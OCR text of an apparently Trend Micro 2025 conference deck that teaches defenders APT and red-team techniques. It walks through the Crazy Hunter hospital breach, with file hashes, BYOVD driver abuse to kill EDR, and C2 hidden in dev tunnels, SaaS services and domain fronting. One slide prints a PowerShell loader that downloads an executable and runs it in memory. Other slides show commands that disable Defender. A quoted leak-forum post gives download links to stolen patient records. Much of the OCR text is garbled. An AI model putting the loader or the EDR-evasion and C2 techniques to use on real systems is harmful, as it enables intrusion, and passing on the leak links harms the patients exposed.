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Trojan:Win32/Ceprolad.A
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By Administrator: CA\Windows\sy

PS C:\Windows\System32> Get-MpComputerStatus | Select RealTimeProtectionEnabled

RealTimeProtectionEnabled

PS C:\Windows\System32> Set-MpPreference - able

¢’ TREND?
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Administrator: CAW

PS C:\Windows\System32> Get-MpComputerStatus | Select RealTimeProtectionEnabled

RealTimeProtectionEnabled

PS C:\Windows\System32> Set-MpPreference -DiszbleRes e g% e

PS
PS

(\

:\Windows\System32> Set-MpPreference , 1ti i i $True
:\Windows\System32> Get- MpComputerStatus | Select RealTimeProteltiomemabled

f‘i

RealTimeProtectionEnabled

PS C:\Windows\System32> whoami

nt authority\system By Steven Meow
PS C:\Windows\System32>
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By Administ
PS C:\Wing

bled

RealTimepP

PS C:\Wing
At line:1
+ Set-MpP
e aa e
This scrij =
+ Cat Gl
¢ Ful S
e
PS C:\Winguil
PS C:\Win

bled

RealTimeP

PS C:\Win

nt author -
PS C:\Windows\System32> y Steven Meow
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HackTool:Win32/Mimikatz!pz

Alert level: High

Status: Active

Date: 4/21/2024 1:24 PM

Category: Tool

Details: This program can be used for malicious purposes if unauthorized.

Learn more

Affected items:

file: C:\Users\Meow\Desktop\mimikatz.exe

¢’ TREND?

11| ©2025 Trend Micro Inc.



#E 2 (File-Less)

$data = (New-Object System.Net.WebClient).DownloadData( 'http://192.168.1.333:8000/bad.exe")
$assem = [System.Reflection.Assembly]::Load($data)

$method = $assem.Entrypoint

$argu= New-Object -TypeName System.Collections.ArrayList
[string[]]$strings = "exploit"
$arqu.Add($strings)

$method.Invoke($null, $argu.ToArray())

12| ©2025 Trend Micro Inc.
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* |nfact, APTs use the same techniques as Red Teamers
* APTs are just groups of hackers who are richer than Red Teamers. *
* How can we learn from APT groups?

For Red Team For Blue Team

Learn the TTP that APTs use. Try to enhance the detections.
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Case Study
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« APT group Crazy Hunter compromised 2 Hospital in 2025/2,3
- BBk - B EEEHNER

« They breached 16.6 million confidential records.

16 | ©2025 Trend Micro Inc.

A BreachForums > Marketplace > Sellers Place > Tal Mackay M fal Hospital, www.mmbh.org.tw All patient data Mark all as read Today's posts

New Reply

Taiwan Mackay Memorial Hospital, www.mmbh.org.tw All patient data
by Crazyhunter - Friday February 28, 2025 at 07:.07 PM

"

Crazyhunter Friends who are interested In the data can contact me. The total amount of data Includes 16.6 million patient information (name, 1D number, moblle phone
number, LINE number, home address, date of birth, medical history), of course, there are also medical reports such as tests and examinations, but there is
no personal information In them. | can give it to you as a gift. The total amount of data is 32,5GB

Telegram@Magic13377

TR - T R MEER HC-HIS_REQUESTS_10000.csv
https://mega.nz/file/SFZhXBrZ#n7qGVEOjtT.. trSwWLCrEYE
&M% « 1L MMER TP-HIS_REQUESTS_10000.csv
https://mega.nz/file/gAw0GYqI#NIIOk302zUs...B6N-YNymNY
K MPR TS-HIS_REQUESTS__10000.csv

“l

b https:/mega.nz/file/EEQDIQSQ#NOHWVL_KO3...vQKU4EMIWo
AWEIR TT-HIS_REQUESTS_10000.csv
l MEMBER I https:/mega.nz/file/NVowgbSS#IWNvBaoDkl...Je.mBtJeXk
Please note: The data will be In the public disclosure period for the next 10 days. It will not be sold during the public disclosure period. | will start trading on
Posty 1 March 10, 2025
Threads 1
';""w(" Al Nood a middleman? Try out our Escrow App!
Reputation
@PM  Q Fnd & Roply %
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Hospital Cybersecurity Information Sharing and Analysis Center
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2. Bﬁ@@\%%?ﬁ E%Hﬁzﬁ

EEUE%[II&@“E&‘“%ADI&EJL’& BREN > BEEXABAOT
l.bb.exe
2.crazyhunter.exe
3.crazyhunter.sys
4.zamb64.sys
5.go3.exe
6.go
BERMFPBHBACrazyHunter

& I

B #2258 :20250211_10C_file_hash CrazyHunterxlsx (2K :12.5KB)
B 2% 10C_CrazyHunter#)ZJm5 _[FE xlsx (€% K/ : 10.4 KB)
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e What can we understand from this table?

Malware SHA256
appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb
result.exe a6293cfe4193ccd4cd4717fbel4cd8c0fdf321328683f35e8a4c68bfcld5b741
za.sys c38a7b26aa4fb1852bad72799bf8a98cf29f9cfc237197af8dade653ad434cf5
zaa.exe 37a7cdf5961ebb65ed3b90ald2cb6549e463f8ccd6df005ce98542dal1905ca3b
svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31
mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afbladbc5409b5bd76bb7b

beacon_x64.exe

fe6dbeeba24ff42d076036be35ceb6787319994ac9c1d386c2d11618c4ac02al

go.exe edca2f8a156d4649ed5b7025c50879e647c¢3d3d2d918eb0c3b710343b9ac407d
hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b
go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd
stop.exe 2ablbef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

18 | ©2025 Trend Micro Inc.
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* beacon_x64.exe: The default beacon name used by Cobalt Strike.

\YENWET(S SHA256
appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda90

result.exe a6293cfe4193ccd4cd4717fbel4cd8c0fdf32132868

za.sys c38a7b26aa4fb1852bad72799bf8a98cf29f9cfc237

EERD G 37a7cdf5961ebb65ed3b90ald2cb6549e463f8ccdbo

svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b
mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3a ‘ N a

FORTRA

go.exe edca2f8a156d4649ed5b7025c50879e647¢3d3d2d9 Cobalt Strike
hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bd

go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd
stop.exe 2ablbef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

t; T R E N D 2
-4
=

19| ©2025 Trend Micro Inc. =



* Za.sys file: A kernel driver (sys file).

Malware

SHA256
appitob.exe 17253e483d0f8c40b617f34465277e65e4
result.exe a6293cfe4193ccd4cd4717fbel4cd8cOf
zaa.exe 37a7cdf5961ebb65ed3b90ald2cb6549¢
svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd
mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd8

beacon_x64.exe

fe6dbeeba24ff42d076036be35ceb6787319994a

go.exe edca2f8a156d4649ed5b7025c50879e647c3d3d2d9
hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b
go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd
stop.exe 2ablbef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

20| ©2025 Trend Micro Inc.
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e /Zamb64.sys is a Vulnerable Driver

- From Zemana Ltd.
- A malware remove tools

* This driver can terminate EDR systems.

C Reanalyze = Similar »  More Vv

(D) 26/72 security vendors flagged this file as malicious

/72 c38a7b26aa4fb1852baa72799bf8a98cf29f9cfc237197af8dade653ad434cf5 Size Last Analysis Date OOL
za.sys 194.87 KB 2 days ago EXE
Community
Score peexe  overlay  64bits native
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label () trojan.zemana/filerepmalware Threat categories trojan  virus Family labels zemana filerepmalware  misc

¢’ TREND?
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* appitob.exe: T

ne main C&C (Command and Control) payload.

Malware SHA256
result.exe a6293cfe4193ccd4cd4717fbel4cd8c0fdf321328683f35e8a4c68bfcld5b741
za.sys c38a7b26aa4fb1852bad72799bf8a98cf29f9cfc237197af8dade653ad434cf5
zaa.exe 37a7cdf5961ebb65ed3b90ald2cb6549e463f8ccd6df005ce98542dal1905ca3b
svc.exe e82c5eed5a30398708d83548eb2d2d2a6dd0988b7b759f4efee924ad26632e31
mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afbladbc5409b5bd76bb7b

beacon_x64.exe

fe6dbeeba24ff42d076036be35ceb6787319994ac9¢c1d386c2d11618c4ac02al

go.exe edca2f8a156d4649ed5b7025c50879e647c¢3d3d2d918eb0c3b710343b9ac407d
hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b
go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd
stop.exe 2ablbef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

22| ©2025 Trend Micro Inc.
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@ 38/71 security vendors flagged this file as malicious

38

/71 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb
appitob.exe
Community
Score peexe  64bits
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 2 .
Domain

Join our Community and enjoy additional community insights and crowdszurced detec

Contacted Domains (6) ©®

Domain Detections
hg7wx7t7-443.usw3.devtunnels.ms 0 /94
res.public.onecdn.static.microsoft 0 /94
tunnels-prod-rel-usw3-live-tm.trafficmanager.net 0 /94

tunnels-prod-rel-usw3-v3-cluster.westus3.cloudapp.azure.com 0 /94
v3-usw3.cluster.rel.tunnels.api.visualstudio.com 0 /94

www.microsoft.com 0 /94

hg7wx7t7-443.usw3.devtunnels.ms

Created

2022-09-09
2023-05-05
2005-11-25
1994-10-25
1997-03-18
1991-05-02

Registrar
MarkMonitor

MarkMonitor Inc.
MarkMonitor Inc.
MarkMonitor Inc.
MarkMonitor Inc.

MarkMonitor Inc.

¢’ TREND?



Learn / Azure / Developer / Dev Tunnels CLI / @ 7

What are dev tunnels?

Article « 11/17/2023 - 3 contributors ¢y Feedback

In this article

Benefits
Terminology

Next steps

Dev tunnels allow developers to securely share local web services across the internet. Enabling you to connect your local
development environment with cloud services, share work in progress with colleagues or aid in building webhooks. Dev
tunnels is for adhoc testing and development, not for production workloads.

¢’ TREND?
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@ hellopy X

A DEV tunnelis used to ® hellopy
2 from flask import Flask

create a secure connection D R sy

@app.route(’/")

that allows developers to ;" return ello, Heonl
test their APIs from Visual 10 app.runQ)

Studio or VSCode when

b e h i n d a NAT O r fi rewa ll. PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

No forwarded ports. Forward a port to access your locally running services over the internet.

g™
25| ©2025 Trend Micro Inc. z



@ hellopy X

Once the DEV tunnelis

@ hello.py
1

created, users can acCcess 2 from flask import Flask
3 app = Flask(__name_ )

the API through the e el
6 def hello_world():
devtunnel URL. 7 | return 'Hello, Meow!'
8 app.run()

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS @1

Port Forwarded Address
O 5000 https://925rr185-5000.asse.devtunnels.ms/

om
U I R E N D §
26| ©2025 Trend Micro Inc. z



eoee [[J v < L @ 925rr185-5000.asse.devtunnels.ms 4 C, h + O

Hello, Meow!

¢ TREND¢?
(-4
=
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e Svc.exe: C&C Payload

Malware SHA256
appitob.exe 17253e483d0f8c40b617f34465277e65e43378fda907e0a43121380883a30abb
result.exe a6293cfe4193ccd4cd4717fbel4cd8c0fdf321328683f35e8a4c68bfcld5b741
za.sys c38a7b26aa4fb1852bad72799bf8a98cf29f9cfc237197af8dade653ad434cf5
zaa.exe 37a7cdf5961ebb65ed3b90ald2cb6549e463f8ccd6df005ce98542dal1905ca3b
mssqld.exe 7e6847a75713db7968f4343a42ac11535c1fd85db3afbladbc5409b5bd76bb7b

beacon_x64.exe

fe6dbeeba24ff42d076036be35ceb6787319994ac9¢c1d386c2d11618c4ac02al

edca2f8a156d4649ed5b7025c50879e647c¢3d3d2d918eb0c3b710343b9ac407d

go.exe
hunter.exe 2dc17e0e702af50a1b4220cbce08d03a3b2fcdcd9bde9b510471dd5fcf12085b
go.exe 9bbeccf3f218f64ea366ce52df59ca3d4324de3149b6a2e4118c3a3ec33a63cd
stop.exe 2ablbef3c6fbab3260b2ebe713f0d0bf6e401e3eaae867f9df120662dd649e55

28| ©2025 Trend Micro Inc.
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* Why are there so many SharePoint URLs in the payload?

s# https://Ihttps://Imsfo.sharepoint.com/_layouts/15/download.aspx?Uniqueld=e0452alc-3fbe-4ac0-9e27-9cd

%# https://Imsfo.sharepoint.com/

«# https://Imsfo.sharepoint.com/10.0;

«# https://Imsfo.sharepoint.com/FD

«# https://Imsfo.sharepoint.com/P

%# https://Imsfo.sharepoint.com/Shared%20Documents/48fBaAvR3Yr75wvdZmHTkD5PsG-H5NYkvnJtzpPLV-2N0gcD39zU
«# https://Imsfo.sharepoint.com/TELo

«# https://Imsfo.sharepoint.com/_layouts/15/download.aspx?Uniqueld=e0452alc-3fbe-4ac0-9e27-9cd84bfdf171

s# https://spo.nel.measure.office.net/api/report?tenantld=4651eadc-3b6c-4879-ad4e4-01d4fb7141ec&destinat

g™
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Did the hacker use the victim's computer to access SharePoint?

'
r. '_ Yy I hate myself

e
il

é \
|

Wow!
I hate this more

3 Microsoft
OneDrive
for Business 1
"

| . e )

. (("_:)ij,.
| w1

¢’ TREND?¢
(-4
=

30| ©2025 Trend Micro Inc. =



Graph Strike

Memory Pattern Domains

FS SN %:3:8:3:3:54 _ .
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https://redsiege.com/blog/2024/01/graphstrike-developer/ € TREND¥



https://redsiege.com/blog/2024/01/graphstrike-developer/

Graph Strike

SharePoint

Task Node Beacon Output

‘.T ‘ Download

S Download
o B

Hacker (Beacon)
(CS Server)

o
[
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* After gaining initial access

* The Crazy Hunter Group

— Uses to disable the EDR

- Applied to establish the C2 Connection

 How can we learn from this case?

¢’ TREND?
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EDR Killer - BYOVD Attack
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» Is Kernel Driver / Kernel Mode Hooking Necessary?

- What risks might there be if a cybersecurity vendor claims that not using
Kernel Mode ?

Device drivers

Most privileged

Device drivers

Applications

g™
35]©2025 Trend Micro Inc. z



BYOVD

 BYOVD (Bring your own vulnerable driver)
- An attacker brings a vulnerable driver into the victim's system.
- To gain

* History
- 2022.11: Lockbit (Backstab)
— 2023.01: Scattered Spider - (QVW64)
- 2023.03: UNC2970 - (ENE)
- 2023.04: Aukill - (PROCEXP)
- 2023.05: Winnit - (ZAM64)
- 2023.06: Black Cat - (ZAM64)
- 2025.02: Crazy Hunter - (ZAM64)

36 | ©2025 Trend Micro Inc.



LoL Drivers

Q. search site About  Premium () (3

Living Off The Land Drivers Top Products

[

Living Off The Land Drivers is a curated list of Windows
drivers used by adversaries to bypass security controls and
carry out attacks. The project helps security professionals
stay informed and mitigate potential threats.

‘ Feel free to open a PR, raise an issue(s) or request new
driver(s) be added.

‘ You can also get the malicious driver list via API using
CSV or JSON. Sysmon users check out the pre-built
config. There is a Sigma rule for SIEMs. If you've found
this project valuable, you'll absolutely love our sister
projects, LOLBAS and GTFOBIns, check them out!

Interested in learning how to i these drivers natively on Windows? Explore MagicSword Premium

© TREND?
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LoL Drivers

507p07b0dc0e6380650434011a462b35439c74604233709888927bf994176102

SeasunProtect sys
WINIODIv sys
viragt.sys
Alr_SYSTEMI10.sys
toofihelper sys
bs_roo6d.sys
KfeCollX64.sys
pchunter sys
RisPer sys
rtkio.sys

nscm.sys
Directio32.sys
mJj0ge sys

test2 sys
RTCore6d sys
AsOmgDrv.sys
SysinfoDetectorX64 .sys
POORTRY1sys
GVCIDIv64 sys
physmem.sys

8S Flash64.sys
ATSZIO sys
libnicm.sys
Winlo64A sys
HWINFO32 5YS
SUpErbme.sys
AsIbDrv.sys
ef0e17253af0c6c972593f860531a2ea sys
nstr.sys

POORTRY2sys

38| ©2025 Trend Micro Inc.

324333b18e273a9b9c4280a57aecef278210bf119abb260d 7782041739099

e05eeb2b8c18ad2cb2d1038c043d770a0d51b960748bc34be3e7fc6f3790ce53

f461414a. e5¢ 226 )082ca211f6238af8230e4103212
2a20aa2316cd6d203146bd2bc5b7466ba7b83a8500654a688172bcafad2ab168
73327429¢50508c5fd690aBec019ed4fdSa726b607cabe?1S091Ic7ble9fc7e
9a91d6e83bsfdec53658016617110dfc6deedfidead29a6a644eb154426622ba
3f20ac5dac91718571c5791865458fdb6eacafab837d7eabcd 2cb0aB3cb522fc
alfa7d8275ccd14abadcd 38efab950e7deded26fcbedb3e184243663003¢8306
074aed77c8c72e76c6{ 200017 7ac17935a828ee51052155d2821d93ab3013761
76660e9111f{3cbB89630dfSat4fe09de6098d090a366b1a130c89c3c5ead5b22
Obed9120fd7a79f6ebfalc06a59f0fo402bd4ate0158265780509edd0es562eac]
SfefecB8f7890d032461b127332759¢88a1b7360aa10c6bd38482572(59d2basb

6709a2d79252481e17229bc5495f45b9bb74060c43e1c58e67110e6c4341d820

012227800 7058dc46c84ba0bIbScB8edeadet2ealbi7a695862444at32e8711fd

950a4c0c772021cee26011a921941( 77128733 23160¢9
45e5977bBa5baec’76eb2e62a84981a8e4616ce17947c9a76falf 9550547271
575e58b62afab094c20c296604dc3b7dd2e1a50f5978d8ee24b7dca028e97316
42f0b036687cbd7717c9eted69900d4e3e7b032dc96532556¢02177afdadOf
not avallable
86a8203329a5b52c84921188cc1f0ecaa7904dcfe0954460293308377720219
01e024cb14b34b6dS25c642a710b62144972a20fd287c390a404b10aBbI43ace
00c02901472d74e8276743c84708148be3799b0e3037cIdfdca2 fad laddb922

not avallable

6edede0bla23ideecs28dcasfObbe7423565/037f74be2957e82e5172c886094

18430bdc6fd01142217066d87a! 0270C¢ Aat25¢ c4b3S

2a6520e6b680d5ad92376ad323021850dab2c653abf06edf2612017714bBe08a

f0474e76cta36e37e32cteSc0a%e05ddeel7ad5014d7aa8817ea3634a3540a3f

455bc980a3 47d2d8 34910191C182ab2fc3211ba07d37845370

9bb09752cf33464455422909e0efS 18fe63c 2e0c87

Vunerable driver

Vunerable driver

Malcious

Vunerable

‘Vunerable drivers

Vunerable driver

Vunerable drivers

Vunerable driver

Vuinerable driver

Vunerable driver

‘Vunerable driver

Malcious

Vuhnerable drivers

Vunerable driver

Vunerable driver

‘Vunerable driver

Malcious

‘Vunerable driver

Vunerable driver

Vunerable driver

Vunerable driver

Vunerable driver

Vunerable driver

Vunerable drivers

Vuinerable driver

Vunerable driver

Malcious

Vunerable driver

Malcious

2024-09-1

2023-01-09

2023-01-09

2023-03-03

2024-09-1

2023-07-22

2023-05-12

2023-07-22

2024-03-10

2023-01-09

2023-01-09

2023-05-06

2023-05-07

2023-07-22

2023-01-09

2023-01-09

2023-1-02

2023-03-04

2023-01-09

2023-01-09

2023-01-09

2023-01-09

2023-01-09

2023-01-09

2023-07-22

2023-01-09

2023-01-09

2023-07-31

2023-01-09

2023-03-04

owrs.sys

AsUplO sys
sepdrv3_lsys
EneTechiobd.sys
rtcoremini64.sys
ensio64.5ys

mS.sys

HOSTNT sys
GLCKIO2 sys

dbkE4 sys
ElbyCDIO sys
wantd_6.sys

driver_ baf33ffe sys
AsAutoChkUpdDrv sys
CITMDRV JAG4 sys
wantd_4.sys
bedaisy.sys

daxn blank2 sys
Monitorwinl0_x64.sys
ASIO325ys

gdrv.sys

ktessys

NGrmaq sys
DBUNDIv2 sys
windbg sys
6771013a5309¢744904891e427735ea2 sys
CP2X72CSYS
NisLexcons0024UvN sys
4sys
driver_290bc782.5ys
ATSZIO sys
AZDrv10.sys
IqvwEde sys

rtkIoWBX64 sys

221dfbc74bbb255b0879360cccT1a74b75602e0116e9386b38a%ce9dde2e3419 Vunerable driver
8f23313adb35782adb0bag7fefbfbb8bbcSic40ae272e07f6d4629a5305a3fa2 ‘Vuhnerable driver
b2bc7514201727d773c09alcfctae793fcabad98024251ccb510df0c269b04e6 ‘Vuhnerable driver
06bdasSals9417121acd2efe38ccb617fbc078bb9a70b665a515efd70e3013150 ‘Vuhnerable driver
beaBc6728d57dab075f372acB2b8134acB804 41213153 4fa3efee3 drivers
38c18db0S0b0b2b071657c03dbic 0319c746c3eede677e21cd23800 ‘Vunerable driver
1d33fb2735cc5ef466a5480703436622407287e325276fcd3ed1290c98ba0533 Vunerable driver
[} fd767f1b633490a8843cC Y9b5743cBf 70357 ‘Vunerable driver
3aSec83fe670e5e23a3ef3afa0a7241053f5b6beSebca0176606D519177183c25 Vunerable driver
18e17070319c279c7e0204074088cc39286007alcf6cbbe269d5067d8d0628c6 ‘Vunerable driver
238046cfel. 2fi 97bab830e; 2d31894c79e4 Vuhnerable driver
e7af7bcbB86basbabIB351610671c3921441965a839673ac34444cf0ce7b2164e Malcious
baf33ffef069c 34eb448ad1fidodaae93b140ctffSaldb015eb3adaf Malcious
23alb08f47fbble2bd2e4ad9215d616968e70321359a921f62b38b8e466210ca ‘Vunerable driver
1c8dfal48880b58848b4792f01d8a921976a94630e8334cff45cc96f1276049a Vunerable driver
8d9a23630757d3f127b9c6ed8f7b8b018e652369bc070a33500b33978eaabee Malcous
20120de80a5462f8395¢ib7153c86dfda4f29f0776ea156ecda3dfab4eSca 797 Vunerable driver
Sc 956C775542954. 28373620c51b0606a520c6245a Malcious
eda7da2cf59ada21fcd2b6110f1d59cae75051925a7adf 42bf216ccla0 26eadb Vuhnerable driver
not avallable Vunerable driver
31factbac?1dad4120752721103a16512444c13c2ac20857a7e6113cb6 790427 Vunerable driver
not avallable Malcious
ad938d15ecfd70083c474e1642a88b078c3ceal2cdbddf66d4afolc01b9b29d9a Malcious
2e6b339597a89e875f175023ed952a3ac64e9d20a457bbc07act1586e7fe2df8 ‘Vunerable driver
13918412a7c6fdcd 3dcfbbec 4eb36a40f338. Malcous
a2d32c28eb5945085872697d7cfbe87813c09a0e1be28611563 b8sb
05c15a75d183301382a08216076bf3ab4ac5200f1583bcad433d9881134461686 ‘Vuhnerable driver
7a84703552ae032a( )81e42. d5b41839¢80fab: Malcious
8e035beb02a411f8a%e92d4cf184ad34152bbd0a81a50c222cdda706e4e45104 Malcious
290bc78220341f0b5580b27c8d14a2a5c3tbe 3e4b6921957b134efc6beeblash Malcious
0da746e49fd6620e910d0e366934a7202898714ea33577e261ab40eb44222b5¢ Vunerable driver
ece0a%00ealB89e73074 09174322460 fo2c ble driver
37c637a740f20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ecd Vunerable driver
b205835b818d8a50903cf76936fcf81600607627250d74a523320cfbd091c038 ‘Vuhnerable drivers

2023-01-09
2023-05-06
2023-11-02
2023-01-09
2023-07-22
2023-05-06
2023-01-09
2023-01-09
2023-01-09
2023-01-09
2023-05-06
2023-02-28
2024-09-10
2023-01-09
2023-01-09
2023-02-28
2023-04-22
2023-02-28
2023-01-09
2023-01-09
2023-01-09
2023-06-05
2023-06-05
2023-01-09
2023-05-20
2023-07-31
2023-11-02
2023-07-12
2023-03-04
2024-08-10
2023-05-06
2023-01-09

2023-01-09

2023-07-22 D
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& ZeroMemoryEx [ Terminator (Public L\ Notifications % Fork 158 i 4

<> Code (©) Issues 9 Pullrequests () Actions [{J Projects () Security |~ Insights

¥ master ~ ¥ 1Branch ©1Tag Q Go to file About
Reproducing Spyboy technique to
tv) ZeroMemoryEx Fix device handle leak aB44482 - 2 years ago ) 28 Commits terminate all EDR/XDR/AVs processes
B Terminator Fix device handle leak 2 years ago 0 Readme
A~ Activity
m vDriver Add files via upload 2 years ago
Yy 948 stars
[ .gitattributes Add .gitattributes, .gitignore, and README.md. 2 years ago ® 19 watching
158 fork:
[ .gitignore Add .gitattributes, .gitignore, and README.md. 2 years ago o U
Report repository
[ README.md Update README.md 2 years ago
[ Terminator.sin Add project files. 2 years ago Releases 1
> Terminator | Latest
on Jun 6, 2023
[JJ README =

Packages
22 packages DUb“Shed

Contributors 2

Terminator
‘ 3 ZeroMemoryEx V2
* Reproducing Spyboy technique, which involves terminating all EDR/XDR/AVs processes by abusing the

o ¥y illegal-instruction-co machinetherap...
zam64.sys driver @ g p

* Spyboy was selling the Terminator software at a price of $3,000 for more detail

» the sample is sourced from loldrivers Languages

https://github.com/ZeroMemoryEx/Terminator € TREND?
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https://github.com/ZeroMemoryEx/Terminator

* EDRs and AV systems often trust digital certificates implicitly
* Negative impact
- Blocking kernel drivers can cause BSOD (Blue Screen of Death) or system instability.

* Stability Concerns

- Incorrectly blocking items can damage the reputation of the security solution.

To block or not to block,

that is a question

t; T R E N D 2
-4
=
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C2 Network Hiding - LoL C2

@ TREND?



* Objective for hacker/ Red Teamer

- The C2 can quickly rotate and cannot be blocked.

 Types of C2 Server

— Tunnel-Based

— Cloud-Based
* Includes VPS, CDN, SaaS Proxy, etc.

- Legitimate Software

« Examplesinclude MS Graph API, Google Calendar, GitHub, etc.
42| ©2025 Trend Micro Inc. 0 TRENDg



Tunnel-Based C2

e Cloudflare Tunnel

° [~1$ cloudflared tunnel --url 127.0.0.1:3000
Ngro k 2025-03-09T07:44:177 INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to exper:

Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use Chttps://www.cloudflare.com/websit:
r use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tun
one/connections/connect-apps

PY F)' 2025-03-09T07:44:177 INF Requesting new quick Tunnel on trycloudflare.com...

I nggy 2025-03-09T07:44:21Z INF

2025-03-09T07:44:21Z INF
2025-03-09T07:44:21Z INF
2025-03-09T07:44:21Z INF

Y 2025-03-09T07:44:217 INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.clo

e0ccecece cloudflared]

2025-03-09T07:44:217 INF Version 2025.2.1 (Checksum 3deeeae663e7e8bea3b5c90f46da3088539f67372b792309c0@1a9d39albcla7c)
2025-03-09T07:44:217 INF GOOS: darwin, GOVersion: gol.22.5-devel-cf, GoArch: armé64
2025-03-09T07:44:217 INF Settings: map[ha-connections:1 protocol:quic url:127.0.0.1:3000]
2025-03-09T07:44:217 INF Generated Connector ID: 6a8c6cbc-439c-4a85-81c5-1fde3528d469
2025-03-09T07:44:217 INF cloudflared will not automatically update if installed by a package manager.
2025-03-09T07:44:217 INF Initial protocol quic
2025-03-09T07:44.:217 INF ICMP proxy will use 192.168.0.11@ as source for IPv4
2025-03-09T07:44:217 INF ICMP proxy will use fe80::1052:f146:548f:80f1 in zone en@ as source for IPv6
2025-03-09T07:44:217 INF Created ICMP proxy listening on 192.168.0.110:0
2025-03-09T07:44:217 INF ICMP proxy will use 192.168.0.11@0 as source for IPv4
2025-03-09T07:44.:217 INF ICMP proxy will use fe8@::1052:f146:548f:80f1 in zone en@ as source for IPv6
2025-03-09T07:44:217 INF Starting metrics server on 127.0.0.1:20241/metrics
2025-03-09T07:44:217 INF Using [CurveID(4588) CurveID(25497) CurveP256] as curve preferences connlndex=@0 event=0 ip=198.41.192.7
2025-03-09T07:44:227 INF Registered tunnel connection connIndex=@ connection=edcf8d36-9b56-4054-b450-d24b4758c421 event=0 ip=198

o™
-4
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Cloud Based C2

 AWS EC2
* AWS Lambda
* AWS API Gateway

* CDN/Domain Fronting

- Encrypted Client Hello (ECH)




* Everything can be a C2

- Applications can read, write, upload, and download data.

* SNS Program

- Examplesinclude Slack, Teams, Discord, LINE, Twitter, Instagram, etc.

* Content Management Service

- Examplesinclude GitHub, Jira, OneDrive, Google Drive, Dropbox, etc.

t; T R E N D 2
-4
=
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Telegram

=

Microsoft Printer

)

Microsoft Tasks

00

Cisco Webex

46| ©2025 Trend Micro Inc.

N

A4

CounterStrike 1.6 Google Translate

asana
Microsoft Azure

Application Proxy Asana

Twitter

"

Microsoft Graph

<

Mastodon

X

™M

g-

Microsoft Outlook

)

Whatsapp

(&

Onedrive

Microsoft Power
Automate

Microsoft Azure
Functions

splunk

Splunk

C

Google Drive

reddit

Reddit

Soundcloud

S

Google Calendar

> © ¢
%2

Dropbox

Spotify

O,

Mattermost

O

Github

Instagram

Microsoft Teams

Google Sheet

Youtube

zoom

Zoom

(o]

Discord

g

Microsoft Sharepoint

(010110
110011
101000

Pastebin

Virustotal
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200304

= IR

o . R,

Hello o
C:\> ipconfig

N Windows IP Configuration: |=

- =

0 IPv4 Address: =
C:\> whoami

T gk_._,./z)'d/ >
\ l/\ S )'
L N AT

¢’ TREND?
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Even Counter Strike 1.6 can be a C2

MInGW,

HoSLCan

PerflLogs

Frograin -
Prodfam Files (x86)

Llerronist)
lerronist)
| Terrornist)
 lerronist)
(Terrorist)

30.09.2023
07.12.2019
23.01.2024
19.01.2024

=N
= =N
- Ul N

LGN WK

L=
-

AL L L L

Lo

L LR L L

=
-
L=

'y,
B4 © TREND:
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* SNI (Server Name Indication) from Client Hello

603 0.526732 192.168.1.102 203.69.138.208 TLSv1.3 583 Client Hello
642 ©0.538309 192.168.1.102 203.69.81.48 TLSv1.2 Application Data
663 0.548618 192.168.1.102 203.69.138.98 TLSv1.2 Application Data

671 0.552892 192.168.1.102 104.17.70.206 TLSv1.2 Application Data

Extensions Length: 393
v Extension: Reserved (GREASE) (len=0)
Type: Reserved (GREASE) (14906)
Length: @
Data: <MISSING>
v Extension: server_name (len=34)
Type: server_name (0)
Length: 34
v Server Name Indication extension
Server Name list length: 32
Server Name Type: host_name (0)
Server Name length: 29
Server Name: stocks-data-service.apple.com
v Extension: extended_master_secret (len=0)

— . Ly

¢’ TREND?



How CDN Work

50 | ©2025 Trend Micro Inc.

Encrypted

Connect to
aaa.com (104.21.48.205)

Plain Text (SNI)

GET /HTTP/1.1

Host:
User-Agent: curl/7.86.0

dda.com




Domain Fronting

Blue Team can only see SNI, and it's point to aaa.com -

evil.com

Connect to
aaa.com (104.21.48.205)

Plain Text (SNI)

GET /HTTP/1.1

Encrypted RS2
User-Agent: curl/7.86.0

HOST != SNI
Domain Fronting

51| ©2025 Trend Micro Inc.



Encrypt Client Hel |O ClientHelloOuter

+ outer extensions (key
share, outer SN, ...)

+ ClientHellolnner
+ inner extensions (key

share, inner SNI, ALPN, ...) Servertello .
+ non-sensitive extensions

(key share, ...)

Begin
handshake
encryption

